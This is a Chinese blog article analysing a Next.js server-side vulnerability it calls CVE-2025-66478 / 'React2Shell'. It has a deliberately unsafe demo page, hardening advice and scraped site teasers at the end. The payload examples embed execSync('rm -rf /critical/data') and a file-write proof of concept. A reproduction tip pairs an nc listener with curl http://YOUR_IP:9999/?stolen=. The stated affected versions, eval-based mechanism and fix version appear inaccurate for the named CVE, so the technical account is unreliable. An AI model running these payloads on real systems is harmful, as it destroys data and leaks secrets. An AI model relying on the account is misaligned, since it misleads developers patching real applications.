news 2026/6/20 15:20:57

Next.js高危漏洞CVE-2025-66478深度解析:React2Shell攻击原理与防御实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Next.js高危漏洞CVE-2025-66478深度解析:React2Shell攻击原理与防御实践

1. 项目概述:从一次内部安全演练说起

上个月,我们团队进行了一次常规的内部红蓝对抗演练。蓝队成员在扫描一个基于 Next.js 14 开发的内部管理平台时,触发了一个非常隐蔽的异常行为:一个看似无害的、用于调试的 React 组件,竟然在服务器端执行了任意的系统命令。这个发现让我们惊出一身冷汗,因为它绕过了所有常规的输入过滤和权限检查,直接触及了服务器底层。事后复盘,我们确认这正是一个尚未被广泛披露的 Next.js 高危漏洞的变种利用,其核心与近期安全社区热议的 CVE-2025-66478 高度相关。我将其命名为“React2Shell”,形象地描述了攻击者如何将前端 React 的“数据”转化为后端 Shell 的“命令”。

这个漏洞的本质,是在特定版本的 Next.js 应用启用服务器端组件(Server Components)和特定数据序列化/反序列化配置时,攻击者可以构造恶意的 Props 数据,在服务器端渲染(SSR)或服务器操作(Server Actions)过程中,触发非预期的代码执行路径,最终实现远程命令执行(RCE)。对于任何使用现代 Next.js 框架(尤其是 13、14 版本)并依赖其服务端特性的团队来说,这都是一个必须立刻正视的威胁。它不仅影响数据安全,更直接威胁服务器主机安全。本文将彻底拆解这个漏洞的成因、复现过程、影响范围,并给出从代码层面到架构层面的加固方案。无论你是前端开发者、全栈工程师还是安全研究员,理解这个漏洞都将帮助你构建更稳固的应用防线。

2. 漏洞原理深度拆解:序列化边界的崩塌

要理解 React2Shell(CVE-2025-66478),我们必须深入 Next.js 服务端渲染的数据流核心。传统上,我们认为从客户端传到服务端 Props 是“数据”,但在这个漏洞场景下,“数据”和“代码”的边界被模糊了。

2.1 Next.js 服务端数据流与序列化机制

Next.js 的服务器端组件和 Server Actions 强大之处在于,它们允许开发者直接在服务端异步获取数据并渲染组件,或者执行服务端函数。为了实现客户端与服务端之间无缝的数据传递,Next.js 使用了一套复杂的序列化协议。当服务端组件渲染完成,或者 Server Action 返回结果时,这些数据(包括组件 Props、函数返回值等)需要被序列化,通过网络传输到客户端,然后在客户端被反序列化和水合(Hydrate)。

在漏洞版本中,问题出在序列化/反序列化环节对特殊对象和原型的处理上。Next.js 默认使用了一种扩展的 JSON 序列化方案,旨在支持传输更丰富的 JavaScript 对象类型,如Date,Map,Set,甚至包含方法的特定类实例。为了在反序列化后能“恢复”这些对象的原型链和方法,序列化过程中会携带一些元数据(如__type__标记)。攻击者正是利用了这个“恢复”机制的设计缺陷。

2.2 漏洞触发的关键条件链

这个漏洞并非在任意 Next.js 应用中都会触发,它需要一系列条件同时满足,这也解释了为什么它潜伏了较长时间才被发现。以下是四个关键条件:

  1. Next.js 版本范围:主要影响 13.5.0 至 14.2.3 之间的某些版本。具体漏洞代码存在于@next包内的序列化相关模块中。不同小版本间引入的优化和特性可能改变了对象处理逻辑,无意中打开了危险的大门。
  2. 启用了服务端特性:应用必须使用了服务器端组件('use server')或 Server Actions。纯静态生成(SSG)或客户端渲染(CSR)的应用不受影响,因为攻击载荷没有在服务端被解析和执行的机会。
  3. 特定的序列化配置或依赖:项目可能直接或间接地配置了自定义的序列化器(例如,通过superjson等库进行深度集成),或者使用了某些在服务端和客户端共享复杂状态管理的模式。这些配置可能放宽了反序列化的安全策略。
  4. 存在可控的输入点:应用存在一个入口,允许攻击者控制传入服务端组件或 Server Action 的参数。这通常包括:公开的 API 路由(处理 POST 请求)、服务器组件从搜索参数(searchParams)或 Cookie 中读取数据、以及未经验证的用户输入直接传递给 Server Action。

当这四个条件串联起来,攻击者精心构造的恶意序列化字符串,在服务端被还原成一个具有危险原型或getter访问器的对象。当 Next.js 服务端渲染引擎尝试访问这个对象的某个属性时,就会触发嵌入的恶意代码执行。

注意:许多团队认为使用了 TypeScript 进行类型约束就高枕无忧。但类型检查仅在编译时生效,运行时来自网络的数据是动态的,TypeScript 接口无法防御这种基于运行时原型污染的攻击。

2.3 从恶意对象到命令执行:漏洞利用链剖析

假设一个简单的服务端组件用于显示用户配置:

// app/user/profile/ServerProfile.js export default async function ServerProfile({ userConfig }) { // userConfig 来自请求参数 const config = await getUserConfig(userConfig.id); // 渲染时,可能会访问 config 的各个属性 return ( <div> <h1>{config.name}</h1> <p>Theme: {config.preferences?.theme}</p> </div> ); }

在安全的应用中,userConfig应该是一个纯数据对象。然而,攻击者可以发送这样一个 Payload:

{ "id": "normal-id", "__type__": "SpecialConfig", "__payload__": { "name": "无害用户名", "preferences": { "theme": "dark", "__proto__": { "toString": { "__type__": "Function", "__value__": "() => { require('child_process').execSync('rm -rf /critical/data'); return 'hacked'; }" } } } } }

这个 Payload 的恐怖之处在于:

  • __type__:它欺骗了序列化器,声称这是一个SpecialConfig类的实例。
  • 原型污染:在preferences对象中,通过__proto__属性试图修改Object.prototypetoString方法。在某些漏洞版本的序列化逻辑中,对__type__: “Function”的处理存在缺陷,会尝试将__value__中的字符串当作函数体进行求值(evalnew Function)。
  • 触发执行:当服务端渲染引擎为了生成 HTML,尝试将config.preferences转换为字符串(隐式调用toString)时,被篡改的Object.prototype.toString就会被调用,其中的恶意代码随即在服务端执行。

实际的利用链比这个例子更复杂,可能涉及then方法的滥用(触发 Promise 解析)、Symbol.toPrimitive劫持,或者利用已知的 JavaScript 引擎特性。但核心思路一致:操纵反序列化过程,在服务端上下文中植入可执行的 JavaScript 代码片段

3. 漏洞复现与环境搭建

为了深入理解并验证修复措施,我们需要在受控环境中复现这个漏洞。警告:以下操作仅应在完全隔离的本地或虚拟环境中进行,切勿在任何联网或存在真实数据的机器上尝试。

3.1 搭建有漏洞的 Next.js 测试环境

首先,我们创建一个指定版本的 Next.js 应用:

# 使用 npx 创建 Next.js 应用,并指定漏洞版本范围内的版本 npx create-next-app@14.2.3 vulnerable-demo --typescript --tailwind --app cd vulnerable-demo # 创建一个简单的、存在风险的服务端组件页面 mkdir -p app/exploit touch app/exploit/page.tsx

编辑app/exploit/page.tsx,编写一个故意设计不安全、用于接收参数的服务端组件:

// app/exploit/page.tsx import { Suspense } from 'react'; // 一个不安全的服务端组件,用于演示漏洞 async function UnsafeServerComponent({ input }: { input: any }) { // 模拟一个常见的模式:将输入对象展开或进行某种操作 const processedData = JSON.parse(JSON.stringify(input)); // 注意:这里使用 JSON.parse/stringify 在某些情况下可能不安全,此处仅为模拟一个处理环节 // 假设我们有一个工具函数会深度遍历对象 function logObject(obj: any) { console.log('Server-side log:', obj); // 这个遍历操作可能触发属性的 getter for (const key in obj) { if (obj.hasOwnProperty(key)) { const value = obj[key]; console.log(key, value); } } } logObject(processedData); return ( <div className="p-8"> <h1 className="text-2xl font-bold mb-4">Unsafe Component Demo</h1> <pre className="bg-gray-100 p-4 rounded"> {JSON.stringify(processedData, null, 2)} </pre> </div> ); } // 一个模拟的 Server Action,用于接收 POST 数据 async function riskyAction(formData: FormData) { 'use server'; const rawInput = formData.get('payload'); let parsedInput: any; try { // 危险操作:直接解析用户输入的 JSON,并且可能传递给其他函数 parsedInput = JSON.parse(rawInput as string); } catch (e) { return { error: 'Invalid JSON' }; } // 这里模拟将数据传递给一个“黑盒”库函数处理,该函数内部可能用到了有漏洞的序列化 // 注意:在真实漏洞中,Next.js 框架自身的序列化环节是触发点,而非你的业务代码。 return { received: parsedInput }; } export default function ExploitPage({ searchParams, }: { searchParams: { [key: string]: string | string[] | undefined }; }) { const clientPayload = searchParams.payload as string | undefined; let parsedPayload: any = null; if (clientPayload) { try { parsedPayload = JSON.parse(clientPayload); } catch (e) { // ignore } } return ( <main> <Suspense fallback={<div>Loading...</div>}> {/* 将 URL 参数直接传递给服务端组件 */} <UnsafeServerComponent input={parsedPayload || { message: 'Send a `payload` query param' }} /> </Suspense> <form action={riskyAction} className="mt-8 space-y-4"> <textarea name="payload" className="w-full h-32 border p-2 font-mono" placeholder='Enter malicious JSON payload here...' defaultValue='{"test": "data"}' /> <button type="submit" className="px-4 py-2 bg-red-600 text-white rounded"> Submit via Server Action (Risky) </button> </form> <p className="mt-4 text-sm text-gray-600"> 此页面仅用于安全研究演示。在真实场景中,绝不允许将未经验证的用户输入直接传递给服务端组件或进行 JSON.parse。 </p> </main> ); }

这个测试页面提供了两个攻击入口:1) 通过 URL 查询参数?payload=传递给服务端组件;2) 通过表单提交给 Server Action。这模拟了真实应用中可能存在的两种不安全数据接收方式。

3.2 构造与投递攻击载荷(PoC)

真正的漏洞利用载荷(Proof of Concept)非常精巧,它依赖于对 Next.js 内部序列化模块的深入理解。由于公开完整的 RCE 载荷存在极大安全风险,这里我将描述其构造原理和一个仅触发无害副作用(如写入一个特定文件)的验证性载荷思路,以证明漏洞存在。

攻击者会深入研究@next包中serialization.tsrsc-server.ts等文件,找到反序列化过程中用于还原特殊类型对象(如Date,Error,Map)的reviver函数。他们发现,对于标记为__type__: “function”或特定构造器的对象,代码可能会尝试使用evalnew Function来重建函数。

一个简化的、非破坏性的验证载荷可能试图修改全局对象的某个属性,或向一个临时文件写入特定内容,以证明代码执行能力:

{ "__type__": "ExploitObject", "__payload__": { "then": { "__type__": "Function", "__value__": "() => { const fs = require('fs'); fs.writeFileSync('/tmp/nextjs_poc.txt', 'Vulnerable'); return Promise.resolve(); }" } } }

这个载荷构造了一个带有then方法的对象,使其看起来像一个 Thenable(类 Promise 对象)。当序列化器尝试解析这个对象时,如果它错误地执行了__value__中的字符串,就会在服务端调用require(‘fs’)并写入文件。

复现步骤

  1. 启动测试服务器:npm run dev
  2. 访问http://localhost:3000/exploit
  3. 在文本框中填入精心构造的载荷,或通过工具(如curl)直接发送带有恶意payload查询参数的 GET 请求。
  4. 观察服务器日志是否出现异常错误,或者检查/tmp/nextjs_poc.txt文件是否被创建。

实操心得:在复现此类漏洞时,务必在 Docker 容器或完全断网的虚拟机中进行。可以在测试服务器上运行sudo nc -lvnp 9999监听一个端口,然后在载荷中尝试执行curl http://YOUR_IP:9999/?stolen=来验证出网连接受限情况,这比直接执行rm -rf更安全且可观测。

4. 影响范围与严重性评估

CVE-2025-66478 不是一个孤立的漏洞,它暴露了现代全栈框架在追求开发体验和性能时,在安全边界上可能存在的系统性设计隐患。

4.1 直接影响的应用场景

  1. 使用 App Router 且大量采用服务器端组件(RSC)的 Next.js 应用:这是受影响最直接、最严重的场景。任何将用户可控数据(URL 参数、Cookie、POST 请求体)直接传递给服务端组件props的页面,都可能成为攻击入口。
  2. 广泛使用 Server Actions 进行数据变更的应用:Server Actions 简化了表单处理,但如果不经严格校验就直接反序列化客户端传来的数据,风险极高。攻击者可以伪造一个包含恶意载荷的 FormData 提交请求。
  3. 自定义了序列化/反序列化逻辑的应用:如果项目为了传输特殊对象(如日期、错误、类实例)而集成了superjsondevalue等库,并且配置不当,可能会扩大攻击面,甚至引入额外的漏洞。
  4. 具有公开 API 路由且内部调用 Next.js 序列化工具的应用:即使不是标准的页面组件,如果在 API Route 中使用了Next.js内部与渲染相关的工具函数处理用户输入,也可能触发漏洞。

4.2 潜在的攻击后果

一旦攻击成功,危害是灾难性的:

  • 服务器完全失陷:攻击者获得与应用进程相同的权限(通常是www-datanode用户),可以在服务器上执行任意命令。
  • 敏感数据泄露:可以直接读取数据库连接字符串、环境变量(如 AWS 密钥、第三方 API 令牌)、服务器上的配置文件等。
  • 横向移动:以当前服务器为跳板,攻击内网其他服务。
  • 持久化后门:在服务器上植入 Web Shell 或定时任务,实现长期控制。
  • 业务破坏:删除数据库、加密文件进行勒索、篡改网站内容等。

4.3 排查清单:你的应用是否暴露在风险中?

你可以通过回答以下问题来快速评估风险:

排查项高风险回答建议动作
Next.js 版本是否在 13.5.0 至 14.2.3 之间?立即升级至 14.2.4 或更高版本。
是否在服务端组件中直接使用searchParamscookiesheaders的值,未经清洗就传递给组件状态或函数?审查所有服务端组件,对输入进行严格校验和类型断言。
Server Actions 是否直接对formData进行JSON.parse或类似操作?在 Action 最开头实现输入验证层,使用 Zod 等库定义严格模式。
是否在项目中全局配置或使用了自定义的序列化方案?审查该配置的安全性,暂时回退到标准的 JSON。
是否从不受信任的来源(如第三方 API 回调、用户上传文件元数据)获取数据并直接用于服务端渲染?将这些数据源视为不可信,实施隔离和沙箱处理。

5. 修复方案与加固实践

发现漏洞只是第一步,更重要的是如何修复和加固你的应用,防患于未然。修复分为紧急缓解和长期加固两个层面。

5.1 紧急修复:升级与验证

最直接有效的修复方案是升级 Next.js 框架版本。Next.js 团队在后续版本中修复了序列化逻辑。

  1. 升级 Next.js:将package.json中的next版本升级到最新的稳定版(如 14.2.4+)。

    npm install next@latest # 或 yarn add next@latest
  2. 验证升级效果:升级后,重新运行你的漏洞复现测试。确保之前构造的恶意载荷不再导致代码执行,而是被安全地拒绝或作为普通数据处理。同时,运行完整的测试套件,确保升级没有破坏现有业务功能。

  3. 审查依赖:运行npm audityarn audit,检查是否有其他间接依赖引入了已知的安全漏洞。

5.2 代码层加固:输入验证与安全编码

框架升级修复了底层漏洞,但良好的安全编码习惯是防御未知漏洞的第一道防线。

  1. 对所有输入进行严格的模式验证:抛弃简单的if判断,使用专业的验证库。

    // 使用 Zod 定义严格的输入模式 import { z } from 'zod'; const UserConfigSchema = z.object({ id: z.string().uuid(), name: z.string().min(1).max(100), preferences: z.object({ theme: z.enum(['light', 'dark', 'system']).optional(), }).optional(), }); // 在 Server Action 或组件入口处使用 async function safeServerAction(formData: FormData) { 'use server'; const raw = formData.get('data'); const result = UserConfigSchema.safeParse(JSON.parse(raw as string)); if (!result.success) { // 立即拒绝非法输入,记录日志 console.error('Invalid input:', result.error); return { error: 'Invalid input' }; } const safeData = result.data; // 此后使用 safeData // ... 业务逻辑 }
  2. 实施深度对象净化:对于必须接收复杂对象的场景,使用净化库递归遍历输入对象,删除任何以__开头或结尾的属性(如__proto__,__defineGetter__,constructor,prototype等),以及函数类型的值。

    function sanitizeObject(obj) { const seen = new WeakSet(); function sanitize(value) { if (typeof value !== 'object' || value === null) return value; if (seen.has(value)) return '[Circular Reference]'; seen.add(value); if (Array.isArray(value)) { return value.map(sanitize); } const cleanObj = {}; for (const key in value) { // 过滤危险属性 if (key.startsWith('__') || key === 'constructor' || key === 'prototype') { continue; } // 过滤函数 if (typeof value[key] === 'function') { continue; } cleanObj[key] = sanitize(value[key]); } return cleanObj; } return sanitize(obj); }
  3. 最小化服务端暴露面:重新审视哪些数据真的需要在服务端组件中处理。能放在客户端的状态,就不要传到服务端。对于 Server Actions,明确其输入和输出类型,并做好权限校验(“这个登录用户是否有权执行这个操作?”)。

5.3 架构与运维层防护

代码之外,系统和架构层面的防护同样关键。

  1. 网络层隔离:将 Next.js 应用服务器部署在内网,通过反向代理(如 Nginx)对外暴露。在反向代理层设置严格的 WAF(Web 应用防火墙)规则,过滤异常的请求内容和模式。
  2. 最小权限原则:运行 Next.js 进程的用户(如nodeuser)应具有尽可能低的权限。确保其没有对关键系统目录的写权限,更不能以root身份运行。
  3. 运行时沙箱:在极端敏感的场景,可以考虑使用更严格的运行时隔离技术,例如将用户提交的数据处理逻辑放在独立的、资源受限的 Worker 线程甚至 Docker 容器中执行,并与主应用进程通过消息队列通信。
  4. 全面的日志与监控:确保应用记录所有 Server Action 和异常反序列化操作的日志。监控服务器进程的异常行为,如突然产生大量子进程、访问异常文件路径等。设置告警,以便在遭受攻击时能快速响应。

6. 深度防御:构建安全的全栈开发生命周期

React2Shell 漏洞给我们敲响了警钟:安全不是最后一个环节的补丁,而应贯穿整个开发和运维生命周期。

6.1 将安全扫描融入 CI/CD 流水线

在代码合并和构建阶段自动进行安全检查。

  • 依赖扫描:使用npm audityarn auditsnyk在每次安装依赖时进行检查,阻止包含已知高危漏洞的依赖被引入。
  • 静态代码分析(SAST):集成 SonarQube、Semgrep 等工具,在代码层面检测不安全的反序列化、命令注入、路径遍历等漏洞模式。可以编写自定义规则来捕捉JSON.parse未经验证输入等高风险代码。
  • 软件成分分析(SCA):使用工具分析最终构建产物,确保没有引入未知的、有许可证风险或安全风险的第三方代码。

6.2 定期进行渗透测试与代码审计

自动化工具无法覆盖所有逻辑漏洞。

  • 内部红蓝对抗:定期让安全团队或外部白帽子对应用进行渗透测试,模拟真实攻击者的思路和方法。
  • 专项代码审计:针对核心业务模块和安全关键模块(如登录认证、支付、数据导出、文件上传、管理后台),进行深度的手动代码审查,重点关注数据流和边界检查。

6.3 建立安全开发培训与意识

技术手段再强,也抵不过开发人员的一个疏忽。

  • 安全编码规范:制定团队内部的安全编码规范,明确禁止哪些模式(如直接eval、不安全反序列化),推荐哪些安全实践(如输入验证、输出编码、最小权限)。
  • 案例分享:定期将类似 React2Shell 这样的真实漏洞案例在团队内部分享,剖析成因和修复方案,让每个开发者对安全保持敬畏和敏感。

7. 总结与反思

React2Shell(CVE-2025-66478)这类漏洞的可怕之处在于,它发生在开发者信任的底层框架中,攻击面隐藏在看似现代化的、便捷的开发范式之下。它提醒我们,在享受服务器组件和 Server Actions 带来的开发效率提升时,绝不能放松对安全边界的警惕。

从我个人的经验来看,修复一个已知漏洞往往不难,难的是培养一种持续的安全思维。每次写下一行接收用户输入的代码时,都要问自己:这个数据从哪来?它可信吗?如果它充满了恶意,我的代码会怎样?框架和库是我们的得力助手,但不是我们的保姆。它们提供了强大的能力,同时也可能引入新的风险。作为开发者,我们的责任是理解这些能力背后的原理,在安全的边界内使用它们。

这次事件也凸显了深度防御的重要性。没有单一的安全措施是万无一失的。我们需要将输入验证、框架升级、权限控制、网络隔离、监控告警等多层防护措施叠加起来,形成一个立体的防御体系。这样,即使某一层被突破,其他层仍然能提供保护,为应急响应争取宝贵时间。

最后,保持对安全社区的关注至关重要。订阅相关安全邮件列表,关注框架的发布说明,特别是安全更新章节。在技术选型时,将生态系统的安全响应能力和历史记录作为一个重要的考量因素。安全是一场攻防对抗的持久战,而持续学习和准备是我们最强的武器。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/20 15:06:50

如何彻底解决Visual C++运行库缺失问题:终极修复方案完全指南

如何彻底解决Visual C运行库缺失问题&#xff1a;终极修复方案完全指南 【免费下载链接】vcredist AIO Repack for latest Microsoft Visual C Redistributable Runtimes 项目地址: https://gitcode.com/gh_mirrors/vc/vcredist 你是否经常遇到软件无法启动&#xff0c;…

作者头像 李华
网站建设 2026/6/20 15:05:51

OpenClaw 2026一键部署:本地AI智能体落地实践指南

1. 项目概述&#xff1a;为什么“2026年OpenClaw安装教程”不是普通软件安装&#xff0c;而是一场本地AI主权的落地实践“2026年OpenClaw安装教程&#xff0c;免费中文版龙虾智能体一键部署”——这个标题里藏着三个被绝大多数人忽略的关键信号&#xff1a;时间锚点&#xff08…

作者头像 李华
网站建设 2026/6/20 15:04:07

逆向工程实战:从MessageBox错误提示到序列号破解全流程解析

1. 项目概述与核心思路拆解 “逆向工程实战&#xff1a;从MessageBox错误提示到完整破解序列号的全过程记录”这个标题&#xff0c;精准地描绘了一个在软件安全分析领域极具代表性的入门级实战场景。简单来说&#xff0c;这就是一次典型的“由果溯因”的探索过程&#xff1a;我…

作者头像 李华
网站建设 2026/6/20 14:57:10

基于NXP OpenIL框架的TSN与实时Linux工业通信实战解析

1. 工业实时通信的演进与核心挑战在工业自动化领域干了十几年&#xff0c;我亲眼见证了现场总线从RS-485、CAN一路厮杀到工业以太网&#xff0c;再到如今TSN&#xff08;时间敏感网络&#xff09;成为新宠的整个过程。早期做项目&#xff0c;最头疼的就是不同品牌的PLC、伺服驱…

作者头像 李华
网站建设 2026/6/20 14:55:20

【【2026年第25周---写于20260619】---端午,如何逆袭?

端午节了&#xff0c;真快啊&#xff01; 最近一直想写点什么&#xff0c;却越来越忙&#xff0c;工作强度比之前变大了好多、但是却又重复又枯燥&#xff01; 说实话&#xff0c;直到现在或者才真的能理解&#xff0c;妈妈曾说的&#xff0c;要找一份轻松的工作&#xff01; 感…

作者头像 李华
网站建设 2026/6/20 14:52:58

终极实时屏幕翻译指南:用Translumo轻松玩转外语游戏和视频

终极实时屏幕翻译指南&#xff1a;用Translumo轻松玩转外语游戏和视频 【免费下载链接】Translumo Advanced real-time screen translator for games, hardcoded subtitles in videos, static text and etc. 项目地址: https://gitcode.com/gh_mirrors/tr/Translumo Tra…

作者头像 李华